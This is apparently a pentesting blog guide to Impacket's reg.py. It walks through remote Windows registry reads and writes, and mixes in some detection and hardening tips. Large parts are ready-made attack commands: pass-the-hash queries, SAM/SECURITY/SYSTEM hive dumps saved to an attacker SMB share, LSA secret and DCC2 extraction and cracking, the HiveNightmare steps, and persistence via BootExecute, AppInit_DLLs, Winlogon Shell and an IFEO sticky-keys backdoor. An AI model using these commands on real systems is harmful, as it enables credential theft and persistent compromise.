reg.py: All Registry Keys for Pentesting and Active Directory

Impacket reg.py: Query, add, delete, save, and backup the remote Windows registry via SMB/MS-RRP. SAM, LSA, WDigest, RDP, and WinRM keys for pentesting and hardening.
- Posted on 2026-07-04
- Reading time: 25 min
reg.py Impacket: The Complete Guide to Remote Registry for Pentesting 2026 #
The Windows registry isn't just configuration: it's a treasure trove of credentials, backdoors, and persistence information. reg.py , a script from the Impacket suite , allows you to read and write a Windows machine's registry remotely, without the need for RDP or an interactive shell—by leveraging the MS-RRP (Remote Registry Protocol) interface over SMB.
This guide is organized into logical blocks: first the tool and registry basics, then credentials, then persistence, then privilege escalation, then forensics/DFIR, and finally detection, hardening, and the final cheat sheet.
1. The registry hives: HKLM, HKCU, HKU, HKCR, HKCC #
Before using any registry tool, you need to understand what top-level hives are. They're different logical roots, each with a specific purpose, and understanding the difference depends on where you look for credentials or weak configurations.
| Hive | Full name | What it contains | Pentest relevance |
|---|---|---|---|
| hklm | HKEY_LOCAL_MACHINE | Machine-level configuration: hardware, drivers, services, global policies, SAM/SECURITY/SYSTEM | Maximum — this is where the credential hives and global security settings live |
| Hkcu | HKEY_CURRENT_USER | Configuring the user currently logged in to the session in which the command is run | High — User autorun, recent RDP history, credentials saved in applications |
| HKU | HKEY_USERS | Contains the profiles of ALL users who have logged in to the machine, each as a subkey with its own SID | Alta in post-exploitation — you can read other users' HKCU even if they are not logged in now, by iterating on HKU\ |
| HKCR | HKEY_CLASSES_ROOT | File Associations, ProgID, COM/OLE information — it's actually a unified view of HKLM\Software\Classes e HKCU\Software\Classes | Media — relevant for COM hijacking and DLL hijacking via associations |
| HKCC | HKEY_CURRENT_CONFIG | Current hardware profile, pointer to a subkey HKLM\SYSTEM\CurrentControlSet\Hardware Profiles | Low — almost never offensively relevant |
Key point to keep in mind: HKCU is just a mirror of the HKU subkey for the current user's SID.. When you connect remotely with reg.py using a user's credentials, you are seeing the HKCU of that user, not necessarily the one logged in interactively on the console. If you want to read the profile of another user other than the one you are authenticated with, you must go through HKU\<SID-utente> instead of for HKCU.
# Elenca i SID caricati (= utenti con profilo attivo) sotto HKU
reg.py CORP/admin:Password123@10.10.10.5 query -keyName HKU -sThis is crucial in post-exploitation: if you have compromised a machine where multiple users are logged in, HKU gives you access to all their HKCUs without having to impersonate any of them.
Practical example: once you have the SID of another user (from query -keyName HKU -s, or from a lookupsid/whoami /user done in another step), you query that profile directly — even via IPv6 and pass-the-hash, as is typical for a HTB machine:
reg.py htb.local/henry.vinson@dead:beef::b885:d62a:d679:573f -hashes :e53d87d42adaa3ca32bdb34a876cbffb query -keyName 'HKU\S-1-5-21-2993095098-2100462451-206186470-1105' -sThe SID S-1-5-21-...-1105 It is a custom RID (>1000), so a real domain user, not a built-in service account. With -s recursive on that key gets that user's entire HKCU in one go — Run keys, PuTTY sessions, RunMRU, RDP Servers, everything seen in the sections above, but referring to him.
Workflow combo: lookupsid.py + reg.py -s — the pattern to always use #
This is the most useful practical flow of all when you have domain credentials but don't yet know who else exists on the machine or which profiles are of interest.
1. Enumerate all domain users/RIDs with lookupsid.py (Impacket):
lookupsid.py htb.local/henry.vinson:password@10.10.10.5Typical output:
[*] Domain SID is: S-1-5-21-2993095098-2100462451-206186470
498: HTB\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: HTB\Administrator (SidTypeUser)
1105: HTB\henry.vinson (SidTypeUser)
1106: HTB\altro.utente (SidTypeUser)It gives you the full SID of every user in the domain, without having to guess anything.
2. Get the entire SID (domain + RID) and directly query HKU with -s:
reg.py htb.local/henry.vinson@10.10.10.5 -hashes :HASH query -keyName 'HKU\S-1-5-21-2993095098-2100462451-206186470-1106' -sThe key point: you don't have to know in advance where something interesting is found inside that user's profile. -s It recursively downloads everything — Run keys, application credentials, PuTTY, RDP servers, everything — and you read the output looking for known patterns (password, pwd(custom app names). This is why this combo is the first step to take as soon as you have a list of SIDs: first you enumerate who exists, then you pull down everything they have in HKU without having to worry about guessing the right key.
Note: HKU only shows profiles uploaded (users who have logged in at least once and whose hive is still mounted). If a user exists in the domain but has never logged in to that specific machine, his SID does not appear under HKU — for that case you need
reg loadon hisNTUSER.DAToffline, detailed view below.
Read HKCU of a NOT logged in user — reg load #
HKU gives you access to profiles only currently loaded (users logged in now). If another user exists on the machine but is not logged in, their profile does not appear under HKU — but the file NTUSER.DAT It still exists on disk. With sufficient privileges (local admin, or SeRestorePrivilege) you can mount it yourself in a temporary key and read it as if it were online.
reg load HKU\temp_utente C:\Users\vittima\NTUSER.DATSince that time HKU\temp_utente It's navigable exactly like a regular HKCU — same Run keys, same PuTTY sessions, same RunMRU, same RDP Servers as above, but for a user who has never logged in while you were logged in.
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKU\temp_utente\Software\Microsoft\Windows\CurrentVersion\Run" -sWhen you're done, always unload the hive : if it remains mounted, the next time that user logs in, Windows won't find the free profile and will assign a temporary profile (the user will notice this immediately, and this is a mistake to avoid in a pentest).
reg unload HKU\temp_utenteSe
reg unloadIf it fails with "access denied," it's usually because a process still has an open handle to the hive (e.g., Explorer or PowerShell with that key as its working directory). Close any sessions that are referencing it and try again.
The same technique works to read the Default profile (the template used for every new user created on the machine — useful for understanding which settings/autoruns are inherited by future accounts):
reg load HKU\default_profile C:\Users\Default\NTUSER.DATWhere the hives physically live on the disk #
Hives don't just exist in memory: they're backed up to disk as files. Knowing this is useful for offline extraction (e.g., from a forensic image or backup).
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\config\SECURITY
C:\Windows\System32\config\SOFTWARE
C:\Users\<utente>\NTUSER.DAT <- corrisponde a HKCU di quell'utente
C:\Users\<utente>\AppData\Local\Microsoft\Windows\UsrClass.dat <- HKCU\Software\Classes, contiene le ShellBags2. How reg.py works #
reg.py connects to the target via SMB (port 445) and talks to the service Remote Registry via the RPC interface [MS-RRP] — the same protocol he uses reg.exe on Windows, but remotely controlled with valid credentials (password, NTLM hash, or Kerberos ticket).
If the Remote Registry service is disabled, Impacket automatically starts it for the operation and restores it to its original state upon completion. This behavior is important to understand for both offense (it's quiet, but still generates events) and defense (the service should never appear "recently started" for no reason).
Requirements to use it #
- SMB access to target port 445
- Valid credentials: local administrator user, privileged domain user, or NTLM hash for pass-the-hash
- To read hives protected as SAM/SECURITY: privilege
SeBackupPrivilegeor group membership Backup Operators, in addition to local administrator permissions
Basic syntax and authentication #
reg.py [dominio/]utente[:password]@target <azione> [opzioni]Password authentication:
reg.py CORP/admin:Password123@10.10.10.5 query -keyName HKLM\\SOFTWARENTLM hash authentication (pass-the-hash), useful when you don't have the cleartext password but only the hash extracted, for example with secretsdump :
reg.py -hashes aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c CORP/admin@10.10.10.5 query -keyName HKLM\\SYSTEMKerberos authentication (pass-the-ticket), when working with a ticket already obtained (e.g. from Rubeus ):
reg.py -k -no-pass CORP/admin@dc01.corp.local query -keyName HKLM\\SAM3. The 5 actions of reg.py #
reg.py exposes five subcommands. Each corresponds to a different phase of a penetration test or CTF: first read (query), then optionally write to demonstrate impact (add), clean (delete), or extract data for offline analysis (save/backup).
query — read keys and values #
query Lists the subkeys and values of a specific key. This is the action you use 90% of the time: enumeration, recon, credential lookup.
reg.py CORP/admin:Password123@10.10.10.5 query -keyName HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run -sThe flag -s (subkeys) makes the query recursive — very useful for enumerating entire hierarchies in one go, like all the autorun keys under CurrentVersion, instead of questioning them one by one.
In a CTF/pentest you can use queries to:
| Target | Command |
|---|---|
| Read a single precise value | query -keyName "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -v DefaultPassword |
| Enumerate an entire branch (autorun, services, user profiles) | query -keyName "HKLM\SYSTEM\CurrentControlSet\Services" -s |
| Check if a mitigation is active before planning an attack (e.g. RunAsPPL before an LSASS dump) | query -keyName "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" |
| Read the profile of another user logged in via their SID | query -keyName "HKU\<SID>" -s |
Se query returns ERROR_FILE_NOT_FOUND, it's almost always a path problem (wrong hive, doubled backslash from the shell, or WOW64 redirection — see section 4), not a true permissions error.
add — write or modify a value #
add creates a new value or overwrites an existing one. The type must always be specified with -vt (REG_SZ, REG_DWORD, REG_BINARY, REG_EXPAND_SZ, REG_MULTI_SZ) and the data with -vd.
In a CTF/pentest you can use add to:
| Target | Command |
|---|---|
| Place persistence at user login (Run key) | add -keyName "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -v Updater -vt REG_SZ -vd "C:\Users\vittima\update.exe" |
| Disable a protection to demonstrate its impact (e.g., RestrictedAdmin for pass-the-hash via RDP) | add -keyName "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" -v DisableRestrictedAdmin -vt REG_DWORD -vd 1 |
| Enable token filtering bypass for lateral movement with local admins | add -keyName "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -v LocalAccountTokenFilterPolicy -vt REG_DWORD -vd 1 |
| Hijack an accessibility binary to get SYSTEM from the login screen (IFEO) | add -keyName "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" -v Debugger -vt REG_SZ -vd "C:\Windows\System32\cmd.exe" |
Hijack theImagePath of a service with weak ACLs (privesc — section 8.3) | add -keyName "HKLM\SYSTEM\CurrentControlSet\Services\NomeServizio" -v ImagePath -vt REG_EXPAND_SZ -vd "C:\Users\Public\shell.exe" |
Each add Made during a test, it is a real modification to the system: it must always be documented and restored at the end of the activity (see final checklist).
delete — remove keys or values #
delete Removes a value or an entire subkey. It is useful for both offense (clearing tracks) and defense (cleaning a compromised host).
In a CTF/pentest you can use delete to:
| Target | Command |
|---|---|
Restore a modified key with add at the end of the test (anti-forensics/hygiene) | delete -keyName "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -v Updater |
| Temporarily disable a protection to verify that it is actually blocking an attack (A/B testing) | delete -keyName "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" -v RunAsPPL |
| Cleanse a host from a malicious persistence found during an IR (blue team perspective) | delete -keyName "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -v EvilPersistence |
| Remove an entire subkey created for a test (e.g. an IFEO entry) | delete -keyName "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" |
delete without -v deletes the entire specified key and everything it contains — be careful not to be too general about the path.
save — export a single hive/key to a file #
save writes to the target disk a copy of a key (typically an entire hive) in the format .save, which can then be recovered via an SMB share that you open from the attacking machine.
In a CTF/pentest you can use save to:
| Target | Command |
|---|---|
| Extract SAM for offline cracking of local hashes | save -keyName 'HKLM\SAM' -o '\\10.10.14.5\share\SAM.save' |
| Extract SECURITY for LSA Secrets and DCC2 | save -keyName 'HKLM\SECURITY' -o '\\10.10.14.5\share\SECURITY.save' |
| Extract SYSTEM (always used together with SAM/SECURITY to decrypt them) | save -keyName 'HKLM\SYSTEM' -o '\\10.10.14.5\share\SYSTEM.save' |
| Export a specific user's hive for offline analysis | save -keyName 'HKU\<SID>' -o '\\10.10.14.5\share\NTUSER.save' |
Before launching save To a remote share you must have an active SMB listener on the attacker side — typically smbserver.py by Impacket (smbserver.py share /tmp/loot -smb2support).
Backup — Quick dump of SAM, SYSTEM, and SECURITY #
backup It's a special command, a shortcut for the most common use case: extracting in a single call the three hives needed for a complete dump of local credentials and LSA secrets.
reg.py CORP/admin:Password123@10.10.10.5 backup -o '\\10.10.14.5\share'It's equivalent to throwing three save separate connections (SAM, SYSTEM, SECURITY), but with a single command and a single authentication round — less noise than three separate connections. After the backup, the next step is always secretsdump.py in mode LOCAL on downloaded files (see section 6.4).
4. WOW64 — the registry redirection that confuses everyone #
On 64-bit Windows, a 32-bit process doesn't see the same registry as a 64-bit process. This behavior is called Registry Redirector , and it's the number one cause of "nothing found" queries during pentests—a common mistake even among experienced pentesters.
How redirection works #
When a 32-bit process tries to read/write under HKLM\SOFTWARE, Windows silently intercepts it and redirects it to:
HKLM\SOFTWARE\Wow6432NodeThe 32-bit process doesn't notice: it thinks it's reading HKLM\SOFTWARE normal, but physically the data lives in the subkey Wow6432NodeA 64-bit process instead sees the real HKLM\SOFTWARE, without redirection.
Why it matters in a pentest #
If you're enumerating a machine and using a 32-bit tool (a 32-bit compiled Python script, a legacy binary), and you look for a software key you know is present, you might not find it—simply because you're looking in the wrong view. Conversely, if malware or a payload runs in 32-bit on a 64-bit host, its persistence via Run key falls under Wow6432Node, not in the “normal” path: a detail to always check when enumerating autorun keys.
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run"Shared keys (not redirected) #
Not everything is redirected. Some keys are shared: there is only one physical copy, seen identically by both architectures. HKLM\SYSTEM (where SAM, services, security configurations live) is among them — which is why reg.py, which talks directly to the MS-RRP protocol, does not have the redirection problem when working on those keys.
Explicit access to a specific view #
From PowerShell or code, you can force the desired view with flags KEY_WOW64_64KEY e KEY_WOW64_32KEY, ignoring automatic redirection. From the command line, reg.exe native supports the same concept:
:: Forza la lettura della vista a 64 bit anche da un reg.exe a 32 bit
reg query "HKLM\SOFTWARE\Esempio" /reg:64
:: Forza la vista a 32 bit
reg query "HKLM\SOFTWARE\Esempio" /reg:32Registry Reflection (legacy systems only) #
Windows XP/Vista/Server 2003/2008 also featured Registry Reflection : a mechanism that automatically synchronized a subset of keys between 32-bit and 64-bit Vista, for compatibility between COM components. It was removed from Windows 7 onwards —if you're working on a modern system, you won't encounter it, but it's good to know it existed if you happen to read older documentation or writeups.
5. General system enumeration via register #
In addition to security keys, the registry reveals the entire identity of the target machine. These queries are useful during recon, even before considering privesc or credential dumps:
# Versione OS e build
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion"
# Nome macchina
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName"
# Fuso orario (utile per correlare timestamp nei log)
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Control\TimeZoneInformation"
# Interfacce di rete configurate
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces" -s
# Reti a cui la macchina si è connessa (utile per capire il contesto: VPN aziendale, wifi pubbliche, ecc.)
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList" -s
# Dispositivi USB storici collegati (utile in forensics e in verifica data-exfil)
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR" -s6. Credentials in the registry #
This is the most critical section for a pentest: all credential sources—direct or encrypted—that live in the registry. Three blocks: live credentials in memory/config (6.1-6.3), offline credentials in hives (6.4-6.6), and third-party application credentials (6.7).
Live Credentials — System Configuration and Memory #
6.1 Clear Autologon (Winlogon) #
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinlogonSe AutoAdminLogon is set to 1, the password is often found in DefaultPassword In plain text. The complete set of values to check:
| Value | Meaning |
|---|---|
AutoAdminLogon | 1 = active autologous, 0 = inactive |
DefaultUserName | User used for automatic login |
DefaultPassword | Password in clear, if autologon is configured in the classic way |
DefaultDomainName | Default user domain (empty if local account) |
AltDefaultDomainName | Alternate domain, used in some multi-domain/legacy scenarios |
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"6.2 WDigest — Cleartext Credentials in Memory #
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigestSe UseLogonCredential is in 1Windows keeps cleartext passwords in LSASS memory, making them extractable with Mimikatz after compromise. Verifying this remotely with reg.py tells you, before you even have a shell, whether this target is a high-value target for cleartext credential dumps.
6.3 LSA Protection (RunAsPPL) and Credential Guard #
Before scheduling an LSASS dump, it is a good idea to know whether the target is protected.
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPLIf this value is 1 (o 2 on Windows 11 22H2+ without UEFI lock), lsass.exe turns like Protected Process Light (PPL): no unprotected process — not even an administrator with SeDebugPrivilege —can open its memory to read credentials. This is probably the single most effective measure against Mimikatz. sekurlsa::logonpasswords.
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Control\Lsa"If the value is missing or 0, the target is vulnerable to classic LSASS dump.
An even higher level is Credential Guard , which is based on virtualization:
HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\LsaCfgFlagsWhen active, Credential Guard isolates NTLM/Kerberos-derived secrets in a virtualization-based container (VBS), separate from the Windows kernel — a process LsaIso.exe manages access, and not even a kernel exploit can directly reach the credentials. LsaCfgFlags a 1 o 2 indicates Credential Guard is enabled.
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Control\Lsa\LsaCfgFlags"If enabled, direct dumping of user hashes from LSASS is effectively blocked — always check this value before going all-in on Mimikatz.
Offline Credentials — Hive Dump #
6.4 LSA Secrets — What HKLM\SECURITY Really Contains #
HKLM\SECURITY It's not a single credential: it's a container of multiple secrets, each encrypted with the key derived from the SYSTEM boot key. The internal path where they reside is:
HKLM\SECURITY\Policy\Secrets| Secret name | What it contains |
|---|---|
_SC_<NomeServizio> | Cleartext password of the account under which a Windows service runs (e.g., domain account used by SQL Server, Exchange, backup agent) |
DPAPI_SYSTEM | Master key to decrypt DPAPI-protected data at machine level |
DefaultPassword | Clear text autologon password (duplicate of what we've already seen in Winlogon) |
NL$KM | Key used to encrypt Cached Domain Credentials (see below) |
$MACHINE.ACC | Machine account password, which can be used to authenticate as a computer account in the domain |
L$_SC_* | Local variants of service secrets |
Query and dump:
reg.py CORP/admin:Password123@10.10.10.5 save -keyName 'HKLM\SECURITY' -o '\\10.10.14.5\share\SECURITY.save'secretsdump.py -security ./loot/SECURITY.save -system ./loot/SYSTEM.save LOCALTypical output:
[*] Dumping LSA Secrets
_SC_MSSQLSERVER:CORP\svc_sql:P@ssw0rd2024!
DPAPI_SYSTEM:01000000...
NL$KM:0a1b2c3d...The value _SC_MSSQLSERVER Cleartext is typically the biggest hit in a pentest: a service account with a cleartext password, often with elevated privileges in the domain because service accounts rarely rotate their passwords.
6.5 HiveNightmare/SeriousSAM (CVE-2021-36934) — SAM dump without admin privileges #
On Windows 10/11 with a misconfigured ACL, the hives SAM, SYSTEM e SECURITY they are also readable by a user non-administrator, via Volume Shadow Copies. No reg.py, no network access: it runs as a low-privilege local shell.
1. Check if the target is vulnerable:
icacls C:\Windows\System32\config\SAMIf it appears BUILTIN\Users:(I)(RX) (o Everyone), the hive is readable by any authenticated user — this is the vulnerability indicator.
2. Create a Volume Shadow Copy (requires only the permission to create shadow copies, not full admin):
vssadmin create shadow /for=C:Take note of the returned name, such as \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1.
3. Copy the hives from the shadow copy:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Temp\SAM.hive
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\SYSTEM.hive
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY C:\Temp\SECURITY.hive4. Exfiltrate the files to your machine (share SMB, HTTP, or direct exec if you already have a channel) and crack offline:
secretsdump.py -sam SAM.hive -system SYSTEM.hive -security SECURITY.hive LOCALAutomatic tool (LOLBin-first, then external tools): Pure PowerShell with vssadmin/copy As above, it is sufficient and native. If you need to automate, HiveNightmare.exe/ShadowCopy.ps1 they do the same steps in one fell swoop, but they don't add anything that they aren't already doing vssadmin.
Detection: monitor events vssadmin create shadow not related to legitimate backups (Sysmon Event ID 1, command line matching); read access to \HarddiskVolumeShadowCopy*\Windows\System32\config\SAM From a non-system process, it's a strong IOC. Patch: July 2021 KB fixes the default ACL.
6.6 Cached Domain Credentials (DCC/DCC2) #
When a company laptop disconnects from the network, Windows still needs to allow login with the domain account. To do this, it stores a hashed version of the credentials locally: these are Domain Cached Credentials , known as mscash (v1) or mscash2/DCC2 (Vista onwards).
HKLM\SECURITY\Cachewith voices NL$1, NL$2, ... NL$10 by default — one for each recently logged in domain user. The key NL$KM (seen above) is used to decipher them.
Key point: DCC2 is not an NTLM hash . You can't use it for pass-the-hash purposes—it's only for offline verification of a password entered at login; the only way to exploit it is to crack it.
secretsdump.py -security ./loot/SECURITY.save -system ./loot/SYSTEM.save LOCAL[*] Dumping cached domain logon information (domain/username:hash)
CORP.LOCAL/jsmith:$DCC2$10240#jsmith#e4e4e18ac7d15990f64ebe1be1989d9fCracking (mode 2100 = DCC2/MS-Cache2):
hashcat -m 2100 dcc2_hashes.txt rockyou.txtThe number 10240 This is the iteration count of the internal PBKDF2—it makes cracking slower than pure NTLM. The maximum number of cached credentials is controlled by:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\CachedLogonsCountApplication credentials — third-party software #
6.7 Additional application credentials #
Besides SAM/SYSTEM/SECURITY, other minor but real sources:
keymgr.dll (Credential Manager stub) — network credentials saved by Credential Manager are encrypted with DPAPI, not readable in clear text via reg queryThey should be extracted with Mimikatz dpapi::cred after obtaining the user's master key.
PuTTY — saved sessions:
HKCU\Software\SimonTatham\PuTTY\SessionsSaved hostnames and, in poor configurations, references to private keys or proxies.
VNC — password in registry:
HKLM\SOFTWARE\RealVNC\WinVNC4
HKCU\Software\ORL\WinVNC3\DefaultMany legacy VNC servers save the weakly obfuscated (often reversible) password directly here.
7. Persistence via registry #
7.1 Run, RunOnce and services #
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM\SYSTEM\CurrentControlSet\Services\<nomeservizio>Run keys are the first place an attacker (or malware) places autorun.
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -sLa chiave Services shows each installed service, its ImagePath (potentially hijackable with unquoted service path) and the account it runs under.
7.2 StartupApproved — the actual state of autorun entries #
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\StartupFolderA value in Run without a corresponding approval here may indicate an entry manually disabled by the user via Task Manager — useful for understanding whether an entry found in Run is actually active. The bytes 02/03 at the beginning of the binary value they indicate enabled/disabled.
7.3 Advanced Autoruns — Beyond Run and RunOnce #
Windows has several other Autostart Extension Points (ASEPs), less known but equally used:
| Key | What does he do |
|---|---|
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\BootExecute | Programs run by smss.exe even before the desktop — default autocheck autochk *Any additional value runs at every boot with very high privileges. |
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs + LoadAppInit_DLLs | DLLs loaded in every process that uses user32.dll. Deprecated and disabled by default in Vista and later, but should be tested on legacy hosts |
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCertDlls | Similar to AppInit but hooked into the API CreateProcess — affects every process created on the system |
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit | Usually userinit.exe — a second comma-separated value is also sent at each logon |
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell | Usually explorer.exe —replace it replaces the entire user shell |
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Policies\Explorer\Run | Run item “via Group Policy”, often ignored by superficial controls |
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\BootExecute"Persistence at boot (very high privileges, before desktop):
reg.py CORP/admin:Password123@10.10.10.5 add -keyName "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" -v BootExecute -vt REG_MULTI_SZ -vd "autocheck autochk *\0C:\Windows\Temp\evil.exe"You must preserve autocheck autochk * as the first item (it's the native boot disk control) and add your binary as the next entry in the same REG_MULTI_SZ, separated by a null character — otherwise break the disk boot.
AppInit_DLLs (DLL injection into every process with user32.dll):
reg.py CORP/admin:Password123@10.10.10.5 add -keyName "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" -v AppInit_DLLs -vt REG_SZ -vd "C:\Windows\Temp\evil.dll"
reg.py CORP/admin:Password123@10.10.10.5 add -keyName "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" -v LoadAppInit_DLLs -vt REG_DWORD -vd 1Without LoadAppInit_DLLs a 1, the DLL is not loaded even if AppInit_DLLs is populated — only works if Secure Boot is disabled (deprecated in Windows 8 and later with Secure Boot enabled).
Winlogon Shell (replaces the entire user shell):
reg.py CORP/admin:Password123@10.10.10.5 add -keyName "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -v Shell -vt REG_SZ -vd "explorer.exe,C:\Windows\Temp\evil.exe"The comma-separated value after explorer.exe runs with the shell at every user logon — long-range persistence if written to HKLM.
7.4 Active Setup — Persistence tied to user profile #
HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\<GUID>Mechanism designed to execute code first login of a new user (typical in environments with roaming/Terminal Server profiles). The value StubPath contains the command. If you raise the version number recorded here from what is tracked below HKCU\...\Active Setup\Installed Components, the command restarts for each user at the next login, even for existing users.
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components" -s7.5 IFEO — Image File Execution Options #
MITRE ATT&CK: T1546.012. IFEO allows you to attach a debugger to a specific executable: whenever that executable is started, the debugger is launched with it. This is a legitimate mechanism, but one of the most abused for persistence because it doesn't affect the original file.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<nomeprocesso.exe>Technique 1 — Debugger hijack:
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v Debugger /d "C:\Windows\System32\calc.exe"In the laboratory, every opening of notepad.exe would throw calc.exe in its place — in a real-world scenario an attacker would replace an accessibility utility callable from the login screen (utilman.exe, sethc.exe), resulting in SYSTEM execution before login (“sticky keys backdoor”).
reg.py CORP/admin:Password123@10.10.10.5 add -keyName "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" -v Debugger -vt REG_SZ -vd "C:\Windows\System32\cmd.exe"Technique 2 — SilentProcessExit: Monitors the “silent” termination of a process and launches a response binary.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<processo.exe>\GlobalFlag
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\<processo.exe>:: 1. Abilita il monitoraggio (GlobalFlag = 0x200)
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
:: 2. Configura cosa succede alla chiusura
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\Windows\System32\calc.exe"Payload starts with parent process WerFault.exe, less suspicious on a superficial analysis of the process tree.
IFEO Detection: monitor writings on Image File Execution Options\*\Debugger e SilentProcessExit\*\MonitorProcess via Sysmon Event ID 13; any Debugger pointing to cmd.exe/powershell.exe it is suspicious; periodically check the IFEO keys on utilman.exe, sethc.exe, osk.exe, Magnify.exe.
7.6 MountedDevices — map of all volumes seen by the machine #
HKLM\SYSTEM\MountedDevicesUnlike MountPoints2 (per-user, forensics view), this key is machine-level and maps every drive letter and volume GUID ever mounted — including encrypted disks, USB sticks, network volumes.
8. Registry ACL and privilege escalation #
8.1 How registry permissions work #
Each registry key has a Security Descriptor —the structure that defines the object's owner and permissions. It contains two distinct lists:
- DACL (Discretionary Access Control List): defines who can access the object and how — the actual permissions
- SACL (System Access Control List): Defines what is logged/audited — this is for security logging, not access
The DACL is made up of rules called ACEs (Access Control Entries): "This SID is granted/denied this access." Windows evaluates the ACEs in order, and explicit denials are processed before grants.
Critical point: An empty DACL denies all access , but a key with no DACL (NULL DACL) grants full access to everyone — a dangerous configuration, often the result of error.
8.2 Read and write permissions #
With PowerShell (LOLBins-first, no external tools):
Get-Acl -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NomeServizio" | Format-ListPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NomeServizio
Owner : NT AUTHORITY\SYSTEM
Access : NT AUTHORITY\SYSTEM Allow FullControl
BUILTIN\Administrators Allow FullControl
NT AUTHORITY\Authenticated Users Allow FullControl <- questa è la ACE pericolosaIf you see Authenticated Users o Everyone with FullControl/Write on a service key running as SYSTEM, you found an escalation.
Set-Acl to modify (in lab, to demonstrate the impact):
$acl = Get-Acl "HKLM:\SYSTEM\CurrentControlSet\Services\NomeServizio"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule("NT AUTHORITY\Authenticated Users","FullControl","Allow")
$acl.SetAccessRule($rule)
